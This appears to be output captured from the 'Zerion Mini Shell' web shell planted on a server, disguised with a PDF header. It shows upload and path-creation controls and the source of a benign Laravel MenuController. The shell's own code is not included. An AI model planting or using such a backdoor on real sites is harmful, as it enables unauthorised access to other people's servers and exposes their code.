%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/news/app/Http/Controllers/Api/
Upload File :
Create Path :
Current File : /var/www/html/news/app/Http/Controllers/Api/MenuController.php

<?php

namespace App\Http\Controllers\Api;

use App\Http\Controllers\ApiController;
use App\Repositories\Menu\MenuRepository;
use App\Transformers\MenuTransformer;
use EllipseSynergie\ApiResponse\Contracts\Response;

class MenuController extends ApiController
{
    /**
     * @var MenuRepository
     */
    private $menuRepository;

    /**
     * UsersController constructor.
     * @param Response $response
     * @param MenuRepository $menuRepository
     */
    public function __construct(Response $response, MenuRepository $menuRepository)
    {
        parent::__construct($response);
        $this->transformer = new MenuTransformer;
        $this->menuRepository = $menuRepository;
    }

    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function index()
    {
        return $this->response->withCollection($this->menuRepository->getMenu(), $this->transformer);
    }


}

Zerion Mini Shell 1.0